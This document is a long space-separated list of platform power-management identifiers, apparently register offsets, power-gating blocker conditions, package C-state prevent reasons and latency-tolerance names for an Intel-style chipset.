PMC_HPDSP_CORE0_LF_MMOFFSET PMC_UFSX2_VAL_MMOFFSET PMC_HPDSP_CORE0_HF_MMOFFSET PMC_HPDSP_CORE1_LF_MMOFFSET PMC_HPDSP_CORE2_HF_MMOFFSET PMC_HPDSP_CORE1_HF_MMOFFSET PMC_HPDSP_CORE1_MF_MMOFFSET PMC_HPDSP_CORE3_HF_MMOFFSET PMC_HPDSP_CORE3_MF_MMOFFSET PMC_HPDSP_CORE2_MF_MMOFFSET PMC_HPDSP_CORE2_LF_MMOFFSET PMC_ULPDSP_CORE_MF_MMOFFSET PMC_ULPDSP_CORE_LF_MMOFFSET PMC_HPDSP_CORE3_LF_MMOFFSET PMC_ULPDSP_CORE_HF_MMOFFSET PMC_HPFBR_LF_MMOFFSET PMC_ULPFBR_CORE_HF_MMOFFSET PMC_HPFBR_HF_MMOFFSET PMC_HPFBR_MF_MMOFFSET PMC_GNA_HF_MMOFFSET PMC_GNA_MF_MMOFFSET PMC_ULPFBR_CORE_MF_MMOFFSET PMC_ULPFBR_CORE_LF_MMOFFSET PMC_ANNA_MF_MMOFFSET PMC_ANNA_LF_MMOFFSET PMC_GNA_LF_MMOFFSET PMC_ANNA_HF_MMOFFSET PMC_THC0_MMOFFSET PMC_THC1_MMOFFSET PMC_VIS_MMOFFSET PMC_GNA_MMOFFSET PMC_ICC_CLKOUT_DBUFF_SRC_1_MMOFFSET PMC_ICC_CLKOUT_DBUFF_SRC_2_MMOFFSET PMC_UFSX2_D3_MMOFFSET PMC_ICC_CLKOUT_DBUFF_SRC_0_MMOFFSET PMC_ICC_CLKOUT_DBUFF_SRC_5_MMOFFSET PMC_ICC_CLKOUT_DBUFF_SRC_6_MMOFFSET PMC_ICC_CLKOUT_DBUFF_SRC_3_MMOFFSET PMC_ICC_CLKOUT_DBUFF_SRC_4_MMOFFSET PMC_ICC_CLKOUT_DBUFF_IMGCLKOUT_2_MMOFFSET PMC_ICC_CLKOUT_DBUFF_IMGCLKOUT_3_MMOFFSET PMC_ICC_CLKOUT_DBUFF_IMGCLKOUT_0_MMOFFSET PMC_ICC_CLKOUT_DBUFF_IMGCLKOUT_1_MMOFFSET PMC_ICC_CLKOUT_DBUFF_IMGCLKOUT_6_MMOFFSET PMC_CSMEPSF_ACT_MMOFFSET PMC_ICC_CLKOUT_DBUFF_IMGCLKOUT_4_MMOFFSET PMC_ICC_CLKOUT_DBUFF_IMGCLKOUT_5_MMOFFSET PMC_PSF_8_ACT_MMOFFSET PMC_PSF_7_ACT_MMOFFSET PMC_DBG_PSF_ACT_MMOFFSET PMC_PSF_13_ACT_MMOFFSET PMC_USB2_TXRX_BIAS_1_MMOFFSET PMC_USB2_TXRX_BIAS_2_MMOFFSET PMC_PSF_6_ACT_MMOFFSET PMC_USB2_TXRX_BIAS_0_MMOFFSET PMC_USB2_TXRX_BIAS_5_MMOFFSET PMC_USB2_TXRX_BIAS_6_MMOFFSET PMC_USB2_TXRX_BIAS_3_MMOFFSET PMC_USB2_TXRX_BIAS_4_MMOFFSET PMC_USB2_TXRX_BIAS_9_MMOFFSET PMC_USB2_TXRX_BIAS_10_MMOFFSET PMC_USB2_TXRX_BIAS_7_MMOFFSET PMC_USB2_TXRX_BIAS_8_MMOFFSET PMC_ESE_LF_MMOFFSET PMC_PGD_6_CSMEB1_MMOFFSET PMC_USB2_TXRX_BIAS_11_MMOFFSET PMC_ESE_HF_MMOFFSET PMC_PGD_ACE_0_MMOFFSET PMC_PGD_ACE_1_MMOFFSET PMC_PGD_7_CSMEB2_MMOFFSET PMC_PGD_ISCLK_MMOFFSET PMC_PGD_ACE_4_MMOFFSET PMC_PGD_ACE_5_MMOFFSET PMC_PGD_ACE_2_MMOFFSET PMC_PGD_ACE_3_MMOFFSET PMC_PGD_ACE_8_MMOFFSET PMC_PGD_CNVI_0_MMOFFSET PMC_PGD_ACE_6_MMOFFSET PMC_PGD_ACE_7_MMOFFSET PMC_PGD_DBG_PSF_0_MMOFFSET PMC_PGD_DBG_SBR_0_MMOFFSET PMC_PGD_CSE_0_MMOFFSET PMC_PGD_CSMEPSF_0_MMOFFSET PMC_PGD_FUSE_0_MMOFFSET PMC_PGD_GBE_0_MMOFFSET PMC_PGD_ESE_0_MMOFFSET PMC_PGD_ESPISPI_0_MMOFFSET PMC_PGD_LPSS_0_MMOFFSET PMC_PGD_MPFPW1_0_MMOFFSET PMC_PGD_GNA_0_MMOFFSET PMC_PGD_ISH_0_MMOFFSET PMC_PGD_PMC_1_MMOFFSET PMC_PGD_PSF13_0_MMOFFSET PMC_PGD_MPFPW2_0_MMOFFSET PMC_PGD_MPFPW3_0_MMOFFSET PMC_PGD_PSF8_0_MMOFFSET PMC_PGD_SATA_0_MMOFFSET PMC_PGD_PSF6_0_MMOFFSET PMC_PGD_PSF7_0_MMOFFSET PMC_PGD_SBR2_0_MMOFFSET PMC_PGD_SBR3_0_MMOFFSET PMC_PGD_SBR0_0_MMOFFSET PMC_PGD_SBR1_0_MMOFFSET PMC_PGD_SBR7_0_MMOFFSET PMC_PGD_SBR8_0_MMOFFSET PMC_PGD_SBR5_0_MMOFFSET PMC_PGD_SBR6_0_MMOFFSET PMC_PGD_SPB_0_MMOFFSET PMC_PGD_SPC_0_MMOFFSET PMC_PGD_SBRG_0_MMOFFSET PMC_PGD_SPA_0_MMOFFSET PMC_PGD_THC0_0_MMOFFSET PMC_PGD_THC1_0_MMOFFSET PMC_PGD_SPD_0_MMOFFSET PMC_PGD_TBTLSX_0_MMOFFSET PMC_PGD_UFSX2_0_MMOFFSET PMC_PGD_XDCI_0_MMOFFSET PMC_PGD_U3FPW1_0_MMOFFSET PMC_PGD_UFSPW1_0_MMOFFSET PMC_ISCLK_FABRIC_PLL_MMOFFSET PMC_ISCLK_FILTER_PLL_MMOFFSET PMC_PGD_XHCI_0_MMOFFSET PMC_ISCLK_ACE_PLL_MMOFFSET PMC_HSIO_MPFPW1_0_PLLB_MMOFFSET PMC_HSIO_MPFPW1_1_PLLA_MMOFFSET PMC_ISCLK_IMG_PLL_MMOFFSET PMC_HSIO_MPFPW1_0_PLLA_MMOFFSET PMC_HSIO_MPFPW2_0_PLLB_MMOFFSET PMC_HSIO_MPFPW3_0_PLLA_MMOFFSET PMC_HSIO_MPFPW1_1_PLLB_MMOFFSET PMC_HSIO_MPFPW2_0_PLLA_MMOFFSET PMC_ISCLK_REF_PLL_MMOFFSET PMC_ISCLK_REF_PLL_LDO_MMOFFSET PMC_HSIO_MPFPW3_0_PLLB_MMOFFSET PMC_ISCLK_PCIEFAB_PLL_MMOFFSET PMC_ISCLK_SOC_PLL_MMOFFSET PMC_HSIO_USB2_PLL_MMOFFSET PMC_ISCLK_RTC_PLL_MMOFFSET PMC_PUNIT_SOCN_D2D_PCG_MMOFFSET PMC_ISCLK_XTAL_LDO_MMOFFSET PMC_CNVI_0_MMOFFSET PMC_HSIO_USB3_PLL_MMOFFSET PMC_ISCLK_XTAL_MMOFFSET PMC_CNVI_3_MMOFFSET PMC_CNVI_5_MMOFFSET PMC_CNVI_1_MMOFFSET PMC_CNVI_2_MMOFFSET PMC_CNVI_9_MMOFFSET PMC_CNVI_10_MMOFFSET PMC_CNVI_6_MMOFFSET PMC_CNVI_8_MMOFFSET PMC_CNVI_13_MMOFFSET PMC_CNVI_14_MMOFFSET PMC_CNVI_11_MMOFFSET PMC_CNVI_12_MMOFFSET PMC_CNVI_17_MMOFFSET PMC_CNVI_18_MMOFFSET PMC_CNVI_15_MMOFFSET PMC_CNVI_16_MMOFFSET PMC_OSSE_HF PMC_NOT_IN_SLP_S0 PMC_CSME_HF PMC_ESE_HF PMC_PSF_7_ACT PMC_PSF_8_ACT PMC_PSF_4_ACT PMC_PSF_6_ACT PMC_IPU_CPHY_A PMC_IPU_DPHY_A PMC_DBG_PSF_ACT PMC_CSME_PSF_ACT PMC_IPU_CPHY_C PMC_IPU_DPHY_C PMC_IPU_CPHY_B PMC_IPU_DPHY_B PMC_THC0 PMC_THC1 PMC_IPU_CPHY_D PMC_IPU_DPHY_D PMC_D2D_IPU PMC_D2D_NOC_GPSB PMC_D2D_DISP_DDI PMC_D2D_DISP_EDP PMC_LPSS PMC_GBE_ACTIVE PMC_UFSX2_VAL PMC_UFSX2_IDLE PMC_ISCLK_FABRIC_PLL PMC_ISCLK_SE_TCSS_PLL PMC_ISCLK_REF_PLL PMC_ISCLK_FILTER_PLL PMC_HSIO_MPFPW1_0_PLLA PMC_HSIO_MPFPW1_0_PLLB PMC_ISCLK_DDI_PLL PMC_ISCLK_SAF_PLL PMC_HSIO_USB2_PLL PMC_ICC_CLKOUT_DBUFF_SRC_0 PMC_HSIO_G5FPW_1_PLLA PMC_HSIO_G5FPW_1_PLLB PMC_ICC_CLKOUT_DBUFF_SRC_3 PMC_ICC_CLKOUT_DBUFF_SRC_4 PMC_ICC_CLKOUT_DBUFF_SRC_1 PMC_ICC_CLKOUT_DBUFF_SRC_2 PMC_USB2_TXRX_BIAS_1 PMC_USB2_TXRX_BIAS_2 PMC_ICC_CLKOUT_DBUFF_SRC_5 PMC_USB2_TXRX_BIAS_0 PMC_USB2_TXRX_BIAS_5 PMC_CNVI_8 PMC_USB2_TXRX_BIAS_3 PMC_USB2_TXRX_BIAS_4 PMC_PSF0 PMC_D2D_NOC_CFI PMC_CNVI_18 PMC_XDCI_PG PMC_PGD_SBR8B0_0 PMC_PGD_SBR8B1_0 PMC_PGD_UFSX2_0 PMC_PGD_GBE_0 PMC_PGD_DBG_SBR_0 PMC_PGD_SBR8B5_0 PMC_PGD_SBR8B2_0 PMC_PGD_SBR8B3_0 PMC_PGD_SBR8B8_0 PMC_PGD_SBR8B9_0 PMC_PGD_SBR8B6_0 PMC_PGD_SBR8B7_0 PMC_PGD_SBR16B1_0 PMC_PGD_SBR16B2_0 PMC_PGD_SBR8B10_0 PMC_PGD_SBR16B0_0 PMC_PGD_SBRG_0 PMC_PGD_THC0_0 PMC_PGD_SBR16B3_0 PMC_PGD_SBR16B4_0 PMC_PGD_PSF0_0 PMC_PGD_PSF4_0 PMC_PGD_THC1_0 PMC_PGD_LPSS_0 PMC_PGD_PSF8_0 PMC_PGD_CSMEPSF_0 PMC_PGD_PSF6_0 PMC_PGD_PSF7_0 PMC_PGD_CSE_0 PMC_PGD_SPA_0 PMC_PGD_6_CSMEB1 PMC_PGD_7_CSMEB2 PMC_PGD_UFSPW1_0 PMC_PGD_XHCI_0 PMC_PGD_SPB_0 PMC_PGD_ESE_0 PMC_PGD_OSSE_0 PMC_IPU_PGD PMC_PGD_OSSE_HOTHAM_0 PMC_PGD_OSSE_SMT1_0 PMC_THC1_ACTIVE PMC_USB2_NOT_IN_SUSPEND_0 PMC_PSF_5_ACT PMC_THC0_ACTIVE PMC_USB2_NOT_IN_SUSPEND_3 PMC_USB2_NOT_IN_SUSPEND_4 PMC_USB2_NOT_IN_SUSPEND_1 PMC_USB2_NOT_IN_SUSPEND_2 PMC_USB2_NOT_IN_SUSPEND_7 PMC_CNVI_26 PMC_USB2_NOT_IN_SUSPEND_5 PMC_USB2_NOT_IN_SUSPEND_6 PMC_PGD_ACE_1 PMC_PGD_ACE_2 PMC_PGD_XDCI_0 PMC_PGD_ACE_0 PMC_PGD_ACE_5 PMC_PGD_ACE_6 PMC_PGD_ACE_3 PMC_PGD_ACE_4 PMC_PGD_ACE_9 PMC_PGD_ACE_10 PMC_PGD_ACE_7 PMC_PGD_ACE_8 PMC_PGD_MPFPW2_0 PMC_PGD_SBR8B20_0 PMC_PGD_DISP_PGA_0 PMC_PGD_MPFPW1_0 PMC_PGD_SBR16B21_0 PMC_PGD_SBR16B5_0 PMC_PGD_SBR8B4_0 PMC_PGD_SBR16B20_0 PMC_PGD_DBG_SBR16B_0 PMC_PGD_DBG_PSF_0 PMC_PGD_SBR16B6_0 PMC_PGD_SBR16B7_0 BTC_GEN2_PLL_CLK_ON BTC_GEN3_PLL_CLK_ON BTC_CLK1_PARTITION_CLK_ON BTC_USB2_PLL_CLK_ON BTC_HP_PLL_CLK_ON BTC_SATA_PLL_CLK_ON BTC_MIPI_PLL_CLK_ON BTC_AUDIO_CRO_CLK_ON BTC_THUNDERBOLT_PCH_NOT_POWER_GATED BTC_GIGABIT_ETHERNET_TSN_NOT_POWER_GATED BTC_SATA_NOT_POWER_GATED BTC_CONTROLLER_PCIE_C_NOT_POWER_GATED BTC_GIGABIT_ETHERNET_HOST_AND_SECURITY_ENGINE_NOT_IN_D3 BTC_GIGABIT_ETHERNET_TSN_NOT_IN_D3 BTC_GIGABIT_ETHERNET_NOT_POWER_GATED BTC_SATA_NOT_IN_D3 BTC_GPIO_COM5_VNN_ON BTC_INTEGRATED_SENSOR_HUB_VNN_ON BTC_FIA_VNN_ON BTC_GPIO_COM4_VNN_ON BTC_DTS_VNN_ON BTC_SMBUS_VNN_ON BTC_CNVI_VNN_ON BTC_ESPI_VNN_ON BTC_SMS0_VNN_ON BTC_SMS1_VNN_ON BTC_SMT0_VNN_ON BTC_SMT1_VNN_ON BTC_TS_OFF_MISC BTC_GBE_DIS_CONNECTED BTC_CLINK_VNN_ON BTC_GIGABIT_ETHERNET_VNN_ON BTC_HIGH_SPEED_IO_PHY_CORE_DATA_LANES_NOT_OFF BTC_BRK_EV_EN_MISC BTC_CNVI_VNNAON_ACT_REQ_EN_MISC BTC_USB2_SUS_PG_EN_MISC BTC_CPU_PCH_PCIE_LINK_STATE_LESS_THAN_L2 BTC_PRE_WAKE0_EN_MISC BTC_AUTO_DEMO_EN_MISC BTC_HIGH_SPEED_IO_PHY_NOT_OFF BTC_THUNDERBOLT_PCH_WAKE0_EN_VNN_WAKE_REQ BTC_THUNDERBOLT_PCH_WAKE1_EN_VNN_WAKE_REQ BTC_PRE_WAKE1_EN_MISC BTC_PRE_WAKE2_EN_MISC BTC_THUNDERBOLT_PCH_WAKE4_EN_VNN_WAKE_REQ BTC_THUNDERBOLT_PCH_WAKE5_EN_VNN_WAKE_REQ BTC_THUNDERBOLT_PCH_WAKE2_EN_VNN_WAKE_REQ BTC_THUNDERBOLT_PCH_WAKE3_EN_VNN_WAKE_REQ BTC_INTERRUPT_TIMER_SUBSYSTEM_WAKE0_EN_VNN_WAKE_REQ BTC_INTERRUPT_TIMER_SUBSYSTEM_WAKE1_EN_VNN_WAKE_REQ BTC_THUNDERBOLT_PCH_WAKE6_EN_VNN_WAKE_REQ BTC_THUNDERBOLT_PCH_WAKE7_EN_VNN_WAKE_REQ BTC_INTERRUPT_TIMER_SUBSYSTEM_WAKE4_EN_VNN_WAKE_REQ BTC_INTERRUPT_TIMER_SUBSYSTEM_WAKE5_EN_VNN_WAKE_REQ BTC_INTERRUPT_TIMER_SUBSYSTEM_WAKE2_EN_VNN_WAKE_REQ BTC_INTERRUPT_TIMER_SUBSYSTEM_WAKE3_EN_VNN_WAKE_REQ BTC_AON4_CLK_ON BTC_AON5_CLK_ON BTC_XHCI_ATTACHED BTC_AON2_CLK_ON BTC_USB3_PLL_CLK_ON@D20F1 BTC_AON3_SPL_CLK_ON BTC_MPFPW1_0_PLL_CLK_ON@D28F15_D23F1 BTC_MPFPW1_1_PLL_CLK_ON@D28F15_D23F1 BTC_XTAL_AGGR_CLK_ON BTC_FILTER_PLL_CLK_ON BTC_MPFPW2_0_PLL_CLK_ON@D28F240_D31F64 BTC_MPFPW3_0_PLL_CLK_ON@D6F1 BTC_PCIEFAB_PLL_CLK_ON BTC_REF_PLL_CLK_ON@D28F15_D23F1_D20F1_D28F240_D6F1_D31F64 BTC_FABRIC_PLL_CLK_ON BTC_SOC_PLLL_CLK_ON BTC_SPB_NOT_POWER_GATED@D28F240 BTC_SPC_NOT_POWER_GATED@D6F1 BTC_IMG_PLL_CLK_ON BTC_SPA_NOT_POWER_GATED@D28F15 BTC_SOC_D2D_PGD3_NOT_POWER_GATED BTC_ESE_NOT_POWER_GATED BTC_GBE_NOT_POWER_GATED@D31F64 BTC_SATA_NOT_POWER_GATED@D23F1 BTC_SOC_D2D_PGD2_NOT_POWER_GATED BTC_XDCI_NOT_POWER_GATED@D20F2 BTC_LPSS_NOT_POWER_GATED@D30F15_D25F7_D21F31_D18F64 BTC_P2S_NOT_POWER_GATED BTC_PMT_NOT_POWER_GATED BTC_CLINK_NOT_POWER_GATED BTC_CSE_NOT_POWER_GATED BTC_KVMCC_NOT_POWER_GATED BTC_SUSRAM_NOT_POWER_GATED@D31F4 BTC_SMT1_NOT_POWER_GATED BTC_PTIO_NOT_POWER_GATED BTC_USBR0_NOT_POWER_GATED BTC_UFSX2_NOT_POWER_GATED@D18F128 BTC_SOC_D2D_PGD1_NOT_POWER_GATED BTC_SMS2_NOT_POWER_GATED BTC_SMS1_NOT_POWER_GATED BTC_THC0_NOT_POWER_GATED@D16F1 BTC_THC1_NOT_POWER_GATED@D16F2 BTC_TAM_NOT_POWER_GATED BTC_TBTLSX_NOT_POWER_GATED BTC_XDCI_NO_D3@D20F2 BTC_XHCI_NO_D3 BTC_GNA_NOT_POWER_GATED BTC_LPSS_NO_D3@D30F15_D25F7_D21F31_D18F64 BTC_THC0_NO_D3 BTC_THC1_NO_D3 BTC_SATA_NO_D3@D28F1 BTC_UFSX2_NO_D3@D18F128 BTC_GBE_VNN_ON BTC_SMB_VNN_ON BTC_ISH_VNN_ON BTC_ESPISPI_VNN_ON BTC_GPIOCOM4_VNN_ON BTC_GPIOCOM3_VNN_ON BTC_CSMERTC_VNN_ON BTC_SMS2_VNN_ON BTC_GPIOCOM5_VNN_ON BTC_PNDE_MET_MISC_REQ BTC_GPIOCOM1_VNN_ON BTC_ESE_VNN_ON BTC_IOE_COND_MET_S0i2_1_MISC_REQ BTC_IOE_COND_MET_S0i2_2_MISC_REQ BTC_VNN_SOC_MISC_REQ BTC_IOE_COND_MET_S0i2_0_MISC_REQ BTC_XDCI_ATTACHED_MISC_REQ BTC_PRE_WAKE0_MISC_REQ BTC_PLT_GREATER_MISC_REQ BTC_ITSS_CLK_SRC_MISC_REQ@D30F192 BTC_LPSS_WAKE_0_WAKE_OFF BTC_LPSS_WAKE_1_WAKE_OFF BTC_PRE_WAKE1_MISC_REQ BTC_PRE_WAKE2_MISC_REQ BTC_ITSS_WAKE_2_WAKE_OFF BTC_ITSS_WAKE_3_WAKE_OFF BTC_ITSS_WAKE_0_WAKE_OFF BTC_ITSS_WAKE_1_WAKE_OFF BTC_MEMORY_RSC_REQ BTC_PRIM_RSC_REQ BTC_ITSS_WAKE_4_WAKE_OFF BTC_ITSS_WAKE_5_WAKE_OFF BTC_DMI3FPW_1_PLL1_CLK_ON BTC_G5x16FPW_0_PLL_CLK_ON@D6F1_D6F8 BTC_SB_RSC_REQ BTC_DMI3FPW_0_PLL_CLK_ON BTC_G5x16FPW_3_PLL_CLK_ON@D6F16 BTC_BCLK_EXT_INJ_CLK BTC_G5x16FPW_1_PLL_CLK_ON@D6F1_D6F8 BTC_G5x16FPW_2_PLL_CLK_ON@D6F1_D6F8 BTC_PCIEFAB_PLL_CLK_ON@D6F1_D6F8 BTC_REF_PLL_CLK_ON@D6F16 BTC_PHY_OC_EXT_INJ_CLK_ON BTC_FABRIC_PLL BTC_SPB_NOT_POWER_GATED@D6F16 BTC_DMI3_NOT_POWER_GATED BTC_GENLOCK_FILTER_PLL_CLK_ON BTC_SPA_NOT_POWER_GATED@D6F1_D6F8 BTC_SOC_D2D_PGD2 BTC_SOC_D2D_PGD3 BTC_SUSRAM_NOT_POWER_GATED BTC_SOC_D2D_PGD1 BTC_ITSS_CLK_SRC_MISC_REQ BTC_MPFPW1_0_PLL_ON@D28F15_D31F64 BTC_GNA_NOT_POWER_GATED@D8F1 BTC_LPSS_NOT_IN_D3 BTC_SAF_PLL_CLK_ON BTC_SE_TCSS_PLL_ON@D13F15 BTC_USB3_PLL_ON@D20F1 BTC_G5FPW_1_PLL_ON@D28F240 BTC_SPA_NO_PG@D28F15 BTC_SPB_NO_PG@D28F240 BTC_DDI_PLL_CLK_ON BTC_REF_PLL_ON@D28F15_D28F240_D20F1_D31F64 BTC_D2D_DISP0_NO_PG BTC_LPSS_NO_PG@D30F15_D25F7_D21F31_D18F64 BTC_GbE_NO_PG@D31F64 BTC_ESE_NO_PG BTC_CSE_NO_PG BTC_KVMCC_NO_PG BTC_D2D_DISP1_NO_PG BTC_XDCI_NO_PG@D20F2 BTC_PTIO_NO_PG BTC_USBR0_NO_PG BTC_PMT_NO_PG BTC_CLINK_NO_PG BTC_SMS2_NO_PG BTC_SMS1_NO_PG BTC_SUSRAM_NO_PG@D31F4 BTC_SMT1_NO_PG BTC_OSSE_HOTHAM_NO_PG BTC_D2D_NOC2_NO_PG BTC_OSSE_SMT1_NO_PG BTC_UFSX2_NO_PG@D18F128 BTC_THC0_NO_PG@D16F1 BTC_THC1_NO_PG@D16F2 BTC_D2D_IPU_NO_PG BTC_D2D_NOC1_NO_PG BTC_D2D_NOC_GPSB_QACTIVE_MISC_REQ BTC_IPU_QACTIVE_MISC_REQ BTC_OSSE_NO_PG BTC_D2D_NOC_CFI_QACTIVE_MISC_REQ BTC_PSF0_RSC_REQ BTC_PSF4_RSC_REQ BTC_DISP_DDI_QACTIVE_MISC_REQ BTC_D2D_DISP_EDP_QACTIVE_MISC_REQ BTC_PSF8_RSC_REQ BTC_SAF_CFI_LINK_RSC_REQ BTC_PSF6_RSC_REQ BTC_PSF7_RSC_REQ BTC_SPB_NOT_PGD@D28F240 BTC_GBE_NOT_PGD@D31F64 BTC_SBR_RSC_REQ BTC_SPA_NOT_PGD@D28F15 BTC_LPSS_NOT_PGD@D30F15_D25F7_D21F15_D17F3 BTC_D2D_NOC1_NOT_PGD BTC_OSSE_HOTHAM_NOT_PGD BTC_D2D_DISP1_NOT_PGD BTC_KVMCC_NOT_PGD BTC_PMT_NOT_PGD BTC_XDCI_NOT_PGD@D20F2 BTC_CSE_NOT_PGD BTC_USBR0_NOT_PGD BTC_SUSRAM_NOT_PGD BTC_CLINK_NOT_PGD BTC_PTIO_NOT_PGD BTC_SMS1_NOT_PGD BTC_ESE_NOT_PGD BTC_SMT1_NOT_PGD BTC_SMS2_NOT_PGD BTC_D2D_IPU_NOT_PGD BTC_D2D_NOC2_NOT_PGD BTC_D2D_DISP0_NOT_PGD BTC_USFX2_NOT_PGD@D23F1 BTC_OSSE_NOT_PGD@D19F7 BTC_PSF5_RSC_REQ BTC_THC0_NOT_PGD@D16F1 BTC_THC1_NOT_PGD@D16F2 BTC_AON4_NO_D3 BTC_MPFPW1_0_PLL@D28F15_D31F64 BTC_LPSS_NO_D3@D30F15_D25F7_D21F15_D17F3 BTC_UFSX2_NO_D3@D23F1 BTC_MPFPW2_0_PLL@D28F240 BTC_SAF_PLL BTC_USB3_PLL@D20F1 BTC_AON3_SPL_PLL BTC_FILTER_PLL BTC_REF_PLL@D28F15_D28F240_D20F1_D31F64 BTC_SE_TCSS_PLL@D13F15_D7F15 BTC_DDI_PLL PC2_TNTE_TCSS PC2_TNTE_PCH PC2_TNTE_DISP_VBI PC2_TNTE_DISP_TTNF PC2R_TNTE_DISP_TTNF PC2R_TNTE_TCSS PC2R_TNTE PC2R_TNTE_DISP_VBI PC2_WAKE_TNTE_DISP_VBI PC2_WAKE_TNTE_DISP_TTNF PC2R_TNTE_PCH PC2_WAKE_TNTE_TTT PC2R_PCODE_PCODE_MAINTENANCE PC2R_DEEP_WAKE_GEN4_HANG PC2_WAKE_TNTE_TCSS PC2_WAKE_TNTE_PCH PC6_DMI_NACKED_VNN_OFF PC6_SB_BRIDGE_NACK_OR_NOT_IDLE PC8_PEGS_NOT_IN_L1DOT2 PC6_PEGS_NACKED_VNN_OFF PC2R_CMI_NACK PC2R_FMHC_ACTIVITY PC2_TNTE_RING_PERMEM_SCRUBBER PC2_WAKE_TNTE_PERMEM_SCRUBBER PC3_FMHC_NOT_BLOCKED C2-C9.CTA_DEVICE_BLOCK_UNKNOWN PC2R_WAKE_FMHC PC6_CMI_NACKED C2-C9.CTA_DEVICE_BLOCK_DISPLAY C2-C9.CTA_DEVICE_BLOCK_IPU C2-C9.CTA_DEVICE_BLOCK_CORE C2-C9.CTA_DEVICE_BLOCK_PCH C2-C9.CTA_DEVICE_BLOCK_PEG C2-C9.CTA_DEVICE_BLOCK_LLC C2-C9.CTA_DEVICE_BLOCK_MEMORY C2-C9.CTA_DEVICE_BLOCK_PUNIT C2-C9.CTA_DEVICE_BLOCK_TYPEC C2-C9.CTA_DEVICE_BLOCK_OPIO C2-C9.CTA_DEVICE_BLOCK_PECI C2-C9.CTA_DEVICE_BLOCK_DFX C2-C9.CTA_BLOCK_CATEGORY_IP_BUSY C2-C9.CTA_BLOCK_CAUSE_HYSTERESIS C2-C9.CTA_BLOCK_CATEGORY_TIMER C2-C9.CTA_BLOCK_CATEGORY_LATENCY C2-C9.CTA_WAKE_REASON_REFCNT C2-C9.CTA_WAKE_REASON_NONSNOOP C2-C9.CTA_BLOCK_CATEGORY_TRANSIENT C2-C9.CTA_BLOCK_CATEGORY_DEMOTION C2-C9.CTA_WAKE_REASON_UNDEMOTE C2-C9.CTA_WAKE_REASON_PCH_USB C2-C9.CTA_WAKE_REASON_RING_CF C2-C9.CTA_WAKE_REASON_RING C2-C9.CTA_WAKE_REASON_TIMER C2-C9.CTA_WAKE_REASON_PECI C2-C9.CTA_WAKE_REASON_MAILBOX C2-C9.CTA_WAKE_REASON_ESPI C2-C9.CTA_WAKE_REASON_DFX C2-C9.CTA_WAKE_REASON_IPU C2-C9.CTA_WAKE_REASON_PEG_DMI C2-C9.CTA_WAKE_REASON_DISPLAY C2-C9.CTA_WAKE_REASON_IOP C2-C9.CTA_WAKE_REASON_LTR C2-C9.CTA_WAKE_REASON_TYPEC C2-C9.CTA_WAKE_REASON_PUNIT Level1.Unknown Level2.Unknown C2-C9.CTA_WAKE_REASON_CORE C2-C9.CTA_WAKE_REASON_GRAPHICS LTR_SATA1 LTR_SATA2 Level3.Unknown Level3 LTR_PMC LTR_ESE LTR_WIGIG LTR_SATA3 LTR_ESPISPI LTR_GBE CUR_WIGIG IOE_PMC LTR_CNVI_BT LTR_ACE LTR_OSSE LTR_CSE LTR_PG5_PMA0 LTR_TCSS LTR_CNVI_WIFI LTR_CSME PMC_ICLKPLL1_ON_OFF_ACTIVITY PMC_ICLKPLL2_ON_OFF_ACTIVITY LTR_PG5_PMA1 PMC_AUDIO_PLL_ON_OFF_ACTIVITY BTC_PCIE2_PLL_CLK_ON BTC_PCIE3_PLL_CLK_ON BTC_PCIE0_PLL_CLK_ON BTC_PCIE1_PLL_CLK_ON BTC_PCIE6_PLL_CLK_ON BTC_TSN0_PLL_CLK_ON BTC_PCIE4_PLL_CLK_ON BTC_PCIE5_PLL_CLK_ON BTC_GIGABIT_ETHERNET_PLL_CLK_ON BTC_USB3PLL_CLK_ON BTC_TSN1_PLL_CLK_ON BTC_DMI_PLL_CLK_ON BTC_ESPI_SPI_NOT_POWER_GATED BTC_HDA0_NOT_POWER_GATED BTC_PMC_NOT_POWER_GATED BTC_DMI_NOT_POWER_GATED BTC_HDA3_NOT_POWER_GATED BTC_CONTROLLER_PCIE_D_NOT_POWER_GATED BTC_HDA1_NOT_POWER_GATED BTC_HDA2_NOT_POWER_GATED BTC_CONTROLLER_PCIE_A_NOT_IN_D3 BTC_PNDE_CDN BTC_ISH_NOT_IN_D3 BTC_CONTROLLER_PCIE_G_NOT_IN_D3 C2-C9.CTA_LTR_VALUES_CDIE PREVENT_REASON_LEVEL2_1_MEM_SWITCH BTC_PLT_GREATER BTC_ARC_IDLE PREVENT_REASON_LEVEL2_1_PMC_INTERRUPT PREVENT_REASON_LEVEL2_1_PMC_MEM PREVENT_REASON_LEVEL2_1_VPU PREVENT_REASON_LEVEL2_1_IAX PREVENT_REASON_LEVEL2_1_GT PREVENT_REASON_LEVEL2_1_PUNIT PREVENT_REASON_LEVEL2_1_MEDIA_PB PREVENT_REASON_LEVEL2_1_MEDIA_CGP PREVENT_REASON_LEVEL2_1_IPU PREVENT_REASON_LEVEL2_1_SNCU PREVENT_REASON_LEVEL2_1_D2D_CFI PREVENT_REASON_LEVEL2_1_D2D_SB PREVENT_REASON_LEVEL2_1_CLUSTER0 PREVENT_REASON_LEVEL2_1_CLUSTER1 PREVENT_REASON_LEVEL2_1_VTU PREVENT_REASON_LEVEL2_1_DE PREVENT_REASON_LEVEL2_1_SAGV_ABORT PREVENT_REASON_LEVEL2_1_QCHANNEL_RUN PREVENT_REASON_LEVEL2_1_D2D_GDIE_CFI PREVENT_REASON_LEVEL2_1_MEMSS_SLEEP_REQ PREVENT_REASON_LEVEL2_2_DE PREVENT_REASON_LEVEL3_1_IPU PREVENT_REASON_LEVEL2_2_VPU PREVENT_REASON_LEVEL2_2_IPU PREVENT_PKGC_OTHER_REASONS C2-C9.CTA_DEVICE_BLOCK_PMIP PREVENT_REASON_LEVEL3_1_CLUSTER0 PREVENT_REASON_LEVEL3_1_CLUSTER1 C2-C9.CTA_DEVICE_BLOCK_SOC_CORE C2-C9.CTA_DEVICE_BLOCK_MEDIA C2-C9.CTA_DEVICE_BLOCK_CDIE C2-C9.CTA_DEVICE_BLOCK_GDIE C2-C9.CTA_DEVICE_BLOCK_DTS C2-C9.CTA_DEVICE_BLOCK_VPU C2-C9.CTA_DEVICE_BLOCK_PSF PREVENT_REASON_LEVEL2_1_TNTE PREVENT_REASON_LEVEL2_1_DEMOTION PREVENT_REASON_LEVEL2_1_LTR PREVENT_REASON_LEVEL2_1_NDE PREVENT_REASON_LEVEL2_2_TNTE PREVENT_REASON_LEVEL2_2_DEMOTION PREVENT_REASON_LEVEL2_2_LTR PREVENT_REASON_LEVEL2_2_NDE PREVENT_REASON_LEVEL3_1_TNTE 